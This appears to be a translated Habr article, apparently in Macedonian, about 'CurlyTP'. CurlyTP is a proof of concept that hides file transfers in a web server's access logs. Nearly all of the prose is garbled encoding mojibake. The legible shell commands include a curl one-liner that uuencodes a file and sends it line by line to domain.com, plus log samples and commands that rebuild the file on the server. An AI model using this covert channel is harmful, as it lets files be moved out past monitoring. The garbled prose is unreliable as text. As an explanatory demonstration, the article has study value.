Π‘ΠΏΠΎΡΠ΅Π΄ Π΄Π΅ΡΠΈΠ½ΠΈΡΠΈΡΠ°ΡΠ° Π½Π° ΠΠΈΠΊΠΈΠΏΠ΅Π΄ΠΈΡΠ°, ΠΌΡΡΠ²Π°ΡΠ° ΠΊΠ°ΠΏΠΊΠ° Π΅ Π°Π»Π°ΡΠΊΠ° Π·Π° Π·Π°Π³ΠΎΠ²ΠΎΡ ΠΊΠΎΡΠ° ΡΠ»ΡΠΆΠΈ Π·Π° ΡΠ°Π·ΠΌΠ΅Π½Π° Π½Π° ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΠΈ ΠΈΠ»ΠΈ Π½Π΅ΠΊΠΎΠΈ ΠΏΡΠ΅Π΄ΠΌΠ΅ΡΠΈ ΠΏΠΎΠΌΠ΅ΡΡ Π»ΡΡΠ΅ ΠΊΠΎΠΈ ΠΊΠΎΡΠΈΡΡΠ°Ρ ΡΠ°ΡΠ½Π° Π»ΠΎΠΊΠ°ΡΠΈΡΠ°. ΠΠ΄Π΅ΡΠ°ΡΠ° Π΅ Π΄Π΅ΠΊΠ° Π»ΡΡΠ΅ΡΠΎ Π½ΠΈΠΊΠΎΠ³Π°Ρ Π½Π΅ ΡΠ΅ ΡΡΠ΅ΡΠ°Π²Π°Π°Ρ - Π½ΠΎ ΡΠΈΠ΅ ΡΠ΅ΠΏΠ°ΠΊ ΡΠ°Π·ΠΌΠ΅Π½ΡΠ²Π°Π°Ρ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΠΈ Π·Π° Π΄Π° ΡΠ° ΠΎΠ΄ΡΠΆΠ°Ρ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½Π°ΡΠ° Π±Π΅Π·Π±Π΅Π΄Π½ΠΎΡΡ.
Π‘ΠΊΡΠΈΠ²Π°Π»ΠΈΡΡΠ΅ΡΠΎ Π½Π΅ ΡΡΠ΅Π±Π° Π΄Π° ΠΏΡΠΈΠ²Π»Π΅ΠΊΡΠ²Π° Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅. ΠΠ°ΡΠΎΠ°, Π²ΠΎ ΠΎΡΠ»Π°ΡΠ½ ΡΠ²Π΅ΡΠΎΡ ΡΠΈΠ΅ ΡΠ΅ΡΡΠΎ ΠΊΠΎΡΠΈΡΡΠ°Ρ Π΄ΠΈΡΠΊΡΠ΅ΡΠ½ΠΈ ΡΠ°Π±ΠΎΡΠΈ: Π»Π°Π±Π°Π²Π° ΡΡΠ»Π° Π²ΠΎ ΡΠΈΠ΄ΠΎΡ, ΠΊΠ½ΠΈΠ³Π° Π·Π° Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠ° ΠΈΠ»ΠΈ Π²Π΄Π»Π°Π±Π½Π°ΡΠΈΠ½Π° Π²ΠΎ Π΄ΡΠ²ΠΎ.
ΠΠΎΡΡΠΎΡΠ°Ρ ΠΌΠ½ΠΎΠ³Ρ Π°Π»Π°ΡΠΊΠΈ Π·Π° ΡΠΈΡΡΠΈΡΠ°ΡΠ΅ ΠΈ Π°Π½ΠΎΠ½ΠΈΠΌΠΈΠ·Π°ΡΠΈΡΠ° Π½Π° ΠΠ½ΡΠ΅ΡΠ½Π΅Ρ, Π½ΠΎ ΡΠ°ΠΌΠΈΠΎΡ ΡΠ°ΠΊΡ Π½Π° ΠΊΠΎΡΠΈΡΡΠ΅ΡΠ΅ Π½Π° ΠΎΠ²ΠΈΠ΅ Π°Π»Π°ΡΠΊΠΈ ΠΏΡΠΈΠ²Π»Π΅ΠΊΡΠ²Π° Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅. ΠΠΎΠΊΡΠ°Ρ ΡΠΎΠ°, ΡΠΈΠ΅ ΠΌΠΎΠΆΠ΅ Π΄Π° Π±ΠΈΠ΄Π°Ρ Π±Π»ΠΎΠΊΠΈΡΠ°Π½ΠΈ Π½Π° ΠΊΠΎΡΠΏΠΎΡΠ°ΡΠΈΠ²Π½ΠΎ ΠΈΠ»ΠΈ Π²Π»Π°Π΄ΠΈΠ½ΠΎ Π½ΠΈΠ²ΠΎ. Π¨ΡΠΎ Π΄Π° ΡΠ΅ ΠΏΡΠ°Π²ΠΈ?
ΠΠ½Π²Π΅ΡΡΠΈΡΠΎΡΠΎΡ Π Π°ΡΠ°Π½ Π€Π»ΠΎΡΠ΅ΡΡ ΠΏΡΠ΅Π΄Π»ΠΎΠΆΠΈ ΠΈΠ½ΡΠ΅ΡΠ΅ΡΠ½Π° ΠΎΠΏΡΠΈΡΠ° -
ΠΠ·Π»Π΅Π³ΡΠ²Π° Π΄Π΅ΠΊΠ° ΡΠ΅ΠΊΠΎΡ Π²Π΅Π±-ΡΠ΅ΡΠ²Π΅Ρ Π²ΠΈ ΠΎΠ²ΠΎΠ·ΠΌΠΎΠΆΡΠ²Π° Π΄Π° Π·Π°ΡΡΠ²Π°ΡΠ΅ ΡΠ΅ΡΠΈΡΠΈ ΡΠ΅ΠΊΠΎΡΠ° ΠΏΠΎΡΠ°ΠΊΠ° Π²ΠΎ Π΄Π½Π΅Π²Π½ΠΈΠΊΠΎΡ. Π¦Π²Π΅ΡΠΎΠ²ΠΈΡΠ΅ ΡΠ΅ ΠΏΡΠ°ΡΡΠ²Π°Π° ΠΊΠ°ΠΊΠΎ Π΄Π° Π³ΠΎ ΠΊΠΎΡΠΈΡΡΠ°Ρ ΠΎΠ²Π°.
Π’ΠΎΡ ΡΠ° Π½ΡΠ΄ΠΈ ΠΎΠ²Π°Π° ΠΎΠΏΡΠΈΡΠ°:
- ΠΠ΅ΠΌΠ΅ΡΠ΅ ΡΠ΅ΠΊΡΡΡΠ°Π»Π½Π° Π΄Π°ΡΠΎΡΠ΅ΠΊΠ° (ΡΠ°ΡΠ½Π° ΠΏΠΎΡΠ°ΠΊΠ°) ΠΈ ΠΏΡΠ΅ΡΠΌΠ΅ΡΠ°ΡΡΠ΅ Π³ΠΎ Ρ Π°ΡΠΎΡ (md5sum).
- ΠΠΈΠ΅ Π³ΠΎ ΡΠΈΡΡΠΈΡΠ°ΠΌΠ΅ (gzip+uuecode).
- ΠΠΈΠ΅ ΠΏΠΈΡΡΠ²Π°ΠΌΠ΅ Π²ΠΎ Π΄Π½Π΅Π²Π½ΠΈΠΊΠΎΡ ΠΊΠΎΡΠΈΡΡΠ΅ΡΡΠΈ Π½Π°ΠΌΠ΅ΡΠ½ΠΎ Π½Π΅ΡΠΎΡΠ½ΠΎ Π±Π°ΡΠ°ΡΠ΅ Π΄ΠΎ ΡΠ΅ΡΠ²Π΅ΡΠΎΡ.
Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt
[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh
ΠΠ° Π΄Π° ΠΏΡΠΎΡΠΈΡΠ°ΡΠ΅ Π΄Π°ΡΠΎΡΠ΅ΠΊΠ°, ΡΡΠ΅Π±Π° Π΄Π° Π³ΠΈ ΠΈΠ·Π²ΡΡΠΈΡΠ΅ ΠΎΠ²ΠΈΠ΅ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠΈ Π²ΠΎ ΠΎΠ±ΡΠ°ΡΠ΅Π½ ΡΠ΅Π΄ΠΎΡΠ»Π΅Π΄: Π΄Π΅ΡΠΈΡΡΠΈΡΠ°ΡΡΠ΅ ΡΠ° ΠΈ ΠΎΡΠΏΠ°ΠΊΡΠ²Π°ΡΡΠ΅ ΡΠ° Π΄Π°ΡΠΎΡΠ΅ΠΊΠ°ΡΠ°, ΠΏΡΠΎΠ²Π΅ΡΠ΅ΡΠ΅ Π³ΠΎ Ρ Π°ΡΠΎΡ (Ρ Π°ΡΠΎΡ ΠΌΠΎΠΆΠ΅ Π±Π΅Π·Π±Π΅Π΄Π½ΠΎ Π΄Π° ΡΠ΅ ΠΏΡΠ΅Π½Π΅ΡΠ΅ ΠΏΡΠ΅ΠΊΡ ΠΎΡΠ²ΠΎΡΠ΅Π½ΠΈ ΠΊΠ°Π½Π°Π»ΠΈ).
ΠΡΠΎΡΡΠΎΡΠΈΡΠ΅ ΡΠ΅ Π·Π°ΠΌΠ΅Π½ΡΠ²Π°Π°Ρ ΡΠΎ =+=
Π·Π° Π΄Π° Π½Π΅ΠΌΠ° ΠΏΡΠ°Π·Π½ΠΈ ΠΌΠ΅ΡΡΠ° Π²ΠΎ Π°Π΄ΡΠ΅ΡΠ°ΡΠ°. ΠΡΠΎΠ³ΡΠ°ΠΌΠ°ΡΠ°, ΠΊΠΎΡΠ° Π°Π²ΡΠΎΡΠΎΡ ΡΠ° Π½Π°ΡΠ΅ΠΊΡΠ²Π° CurlyTP, ΠΊΠΎΡΠΈΡΡΠΈ ΠΊΠΎΠ΄ΠΈΡΠ°ΡΠ΅ base64, ΠΊΠ°ΠΊΠΎ ΠΏΡΠΈΠ»ΠΎΠ·ΠΈ Π·Π° Π΅-ΠΏΠΎΡΡΠ°. ΠΠ°ΡΠ°ΡΠ΅ΡΠΎ Π΅ Π½Π°ΠΏΡΠ°Π²Π΅Π½ΠΎ ΡΠΎ ΠΊΠ»ΡΡΠ΅Π½ Π·Π±ΠΎΡ ?transfer?
Π·Π° Π΄Π° ΠΌΠΎΠΆΠ΅ ΠΏΡΠΈΠΌΠ°ΡΠΎΡ Π»Π΅ΡΠ½ΠΎ Π΄Π° Π³ΠΎ Π½Π°ΡΠ΄Π΅ Π²ΠΎ Π΄Π½Π΅Π²Π½ΠΈΡΠΈΡΠ΅.
Π¨ΡΠΎ Π³Π»Π΅Π΄Π°ΠΌΠ΅ Π²ΠΎ Π΄Π½Π΅Π²Π½ΠΈΡΠΈΡΠ΅ Π²ΠΎ ΠΎΠ²ΠΎΡ ΡΠ»ΡΡΠ°Ρ?
1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"
ΠΠ°ΠΊΠΎ ΡΡΠΎ Π²Π΅ΡΠ΅ ΡΠΏΠΎΠΌΠ΅Π½Π°Π²ΠΌΠ΅, Π·Π° Π΄Π° Π΄ΠΎΠ±ΠΈΠ΅ΡΠ΅ ΡΠ°ΡΠ½Π° ΠΏΠΎΡΠ°ΠΊΠ°, ΡΡΠ΅Π±Π° Π΄Π° Π³ΠΈ ΠΈΠ·Π²ΡΡΠΈΡΠ΅ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠΈΡΠ΅ Π²ΠΎ ΠΎΠ±ΡΠ°ΡΠ΅Π½ ΡΠ΅Π΄ΠΎΡΠ»Π΅Π΄:
Remote machine
[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue
[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g
ΠΡΠΎΡΠ΅ΡΠΎΡ Π΅ Π»Π΅ΡΠ΅Π½ Π·Π° Π°Π²ΡΠΎΠΌΠ°ΡΠΈΠ·ΠΈΡΠ°ΡΠ΅. Md5sum ΡΠ΅ ΡΠΎΠ²ΠΏΠ°ΡΠ°, Π° ΡΠΎΠ΄ΡΠΆΠΈΠ½Π°ΡΠ° Π½Π° Π΄Π°ΡΠΎΡΠ΅ΠΊΠ°ΡΠ° ΠΏΠΎΡΠ²ΡΠ΄ΡΠ²Π° Π΄Π΅ΠΊΠ° ΡΓ¨ Π΅ ΠΏΡΠ°Π²ΠΈΠ»Π½ΠΎ Π΄Π΅ΠΊΠΎΠ΄ΠΈΡΠ°Π½ΠΎ.
ΠΠ΅ΡΠΎΠ΄ΠΎΡ Π΅ ΠΌΠ½ΠΎΠ³Ρ Π΅Π΄Π½ΠΎΡΡΠ°Π²Π΅Π½. βΠΠΎΠ΅Π½ΡΠ°ΡΠ° Π½Π° ΠΎΠ²Π°Π° Π²Π΅ΠΆΠ±Π° Π΅ ΡΠ°ΠΌΠΎ Π΄Π° ΡΠ΅ Π΄ΠΎΠΊΠ°ΠΆΠ΅ Π΄Π΅ΠΊΠ° Π΄Π°ΡΠΎΡΠ΅ΠΊΠΈΡΠ΅ ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΠ΅ ΠΏΡΠ΅Π½Π΅ΡΠ°Ρ ΠΏΡΠ΅ΠΊΡ Π½Π΅Π²ΠΈΠ½ΠΈ ΠΌΠ°Π»ΠΈ Π²Π΅Π±-Π±Π°ΡΠ°ΡΠ°, ΠΈ ΡΠ°Π° ΡΠ°Π±ΠΎΡΠΈ Π½Π° ΠΊΠΎΡ Π±ΠΈΠ»ΠΎ Π²Π΅Π±-ΡΠ΅ΡΠ²Π΅Ρ ΡΠΎ Π΄Π½Π΅Π²Π½ΠΈΡΠΈ ΡΠΎ ΠΎΠ±ΠΈΡΠ΅Π½ ΡΠ΅ΠΊΡΡ. ΠΠΎ ΡΡΡΡΠΈΠ½Π°, ΡΠ΅ΠΊΠΎΡ Π²Π΅Π±-ΡΠ΅ΡΠ²Π΅Ρ Π΅ ΡΠΊΡΠΈΠ²Π°Π»ΠΈΡΡΠ΅!β, ΠΏΠΈΡΡΠ²Π° Flowers.
Π‘Π΅ ΡΠ°Π·Π±ΠΈΡΠ°, ΠΌΠ΅ΡΠΎΠ΄ΠΎΡ ΡΠ°Π±ΠΎΡΠΈ ΡΠ°ΠΌΠΎ Π°ΠΊΠΎ ΠΏΡΠΈΠΌΠ°ΡΠΎΡ ΠΈΠΌΠ° ΠΏΡΠΈΡΡΠ°ΠΏ Π΄ΠΎ Π΄Π½Π΅Π²Π½ΠΈΡΠΈΡΠ΅ Π½Π° ΡΠ΅ΡΠ²Π΅ΡΠΎΡ. ΠΠΎ, ΡΠ°ΠΊΠΎΠ² ΠΏΡΠΈΡΡΠ°ΠΏ Π΅ ΠΎΠ±Π΅Π·Π±Π΅Π΄Π΅Π½, Π½Π° ΠΏΡΠΈΠΌΠ΅Ρ, ΠΎΠ΄ ΠΌΠ½ΠΎΠ³Ρ Ρ ΠΎΡΡΠ΅ΡΠΈ.
ΠΠ°ΠΊΠΎ Π΄Π° Π³ΠΎ ΠΊΠΎΡΠΈΡΡΠΈΡΠ΅?
Π Π°ΡΠ°Π½ Π€Π»Π°ΡΠ΅ΡΡ Π²Π΅Π»ΠΈ Π΄Π΅ΠΊΠ° Π½Π΅ Π΅ Π΅ΠΊΡΠΏΠ΅ΡΡ Π·Π° ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡΠΊΠ° Π±Π΅Π·Π±Π΅Π΄Π½ΠΎΡΡ ΠΈ Π½Π΅ΠΌΠ° Π΄Π° ΡΠΎΡΡΠ°Π²ΠΈ Π»ΠΈΡΡΠ° Π½Π° ΠΌΠΎΠΆΠ½ΠΈ ΡΠΏΠΎΡΡΠ΅Π±ΠΈ Π½Π° CurlyTP. ΠΠ° Π½Π΅Π³ΠΎ, ΡΠΎΠ° Π΅ ΡΠ°ΠΌΠΎ Π΄ΠΎΠΊΠ°Π· Π·Π° ΠΊΠΎΠ½ΡΠ΅ΠΏΡΠΎΡ Π΄Π΅ΠΊΠ° ΠΏΠΎΠ·Π½Π°ΡΠΈΡΠ΅ Π°Π»Π°ΡΠΊΠΈ ΡΡΠΎ Π³ΠΈ Π³Π»Π΅Π΄Π°ΠΌΠ΅ ΡΠ΅ΠΊΠΎΡΠ΄Π½Π΅Π²Π½ΠΎ ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΠ΅ ΠΊΠΎΡΠΈΡΡΠ°Ρ Π½Π° Π½Π΅ΠΊΠΎΠ½Π²Π΅Π½ΡΠΈΠΎΠ½Π°Π»Π΅Π½ Π½Π°ΡΠΈΠ½.
ΠΡΡΡΠ½ΠΎΡΡ, ΠΎΠ²ΠΎΡ ΠΌΠ΅ΡΠΎΠ΄ ΠΈΠΌΠ° Π³ΠΎΠ»Π΅ΠΌ Π±ΡΠΎΡ Π½Π° ΠΏΡΠ΅Π΄Π½ΠΎΡΡΠΈ Π²ΠΎ ΠΎΠ΄Π½ΠΎΡ Π½Π° Π΄ΡΡΠ³ΠΈΡΠ΅ βΠΊΡΠΈΠ΅β Π½Π° ΡΠ΅ΡΠ²Π΅ΡΠΎΡ ΠΊΠ°ΠΊΠΎ
ΠΠ²Π° Π΅ Π΅Π΄Π΅Π½ ΠΎΠ΄ Π½Π°ΡΠΈΠ½ΠΈΡΠ΅ Π·Π° ΠΏΡΠ΅Π½ΠΎΡ Π½Π° ΠΏΠΎΡΠ°ΠΊΠΈ ΠΏΡΠ΅ΠΊΡ ΡΡΠ»ΡΠΆΠ½ΠΈ Π΄Π°ΡΠΎΡΠ΅ΠΊΠΈ. ΠΠΎΠΆΠ΅ΡΠ΅ Π΄Π° ΡΠ΅ ΡΠ΅ΡΠΈΡΠ΅ ΠΊΠ°ΠΊΠΎ ΡΠ΅ ΠΏΠ»Π°ΡΠΈΡΠ°Π° Π½Π΅ΠΊΠΎΠΈ Π½Π°ΠΏΡΠ΅Π΄Π½ΠΈ ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ
ΠΠ΄Π΅ΡΠ°ΡΠ° Π±Π΅ΡΠ΅ ΡΠ°ΠΌΠΎ Π²Π΅Π±-ΠΏΡΠΎΠ³ΡΠ°ΠΌΠ΅ΡΠΈΡΠ΅ Π΄Π° Π³ΠΎ Π²ΠΈΠ΄Π°Ρ ΠΎΠ²Π° Π²Π΅Π»ΠΈΠ³Π΄Π΅Π½ΡΠΊΠΎ ΡΠ°ΡΡΠ΅, Π±ΠΈΠ΄Π΅ΡΡΠΈ Π½ΠΎΡΠΌΠ°Π»Π΅Π½ ΡΠΎΠ²Π΅ΠΊ Π½Π΅ Π±ΠΈ Π³ΠΈ Π³Π»Π΅Π΄Π°Π» Π·Π°Π³Π»Π°Π²ΠΈΡΠ°ΡΠ° ΠΈΠ»ΠΈ HTML-ΠΊΠΎΠ΄ΠΎΡ.
ΠΠ·Π²ΠΎΡ: www.habr.com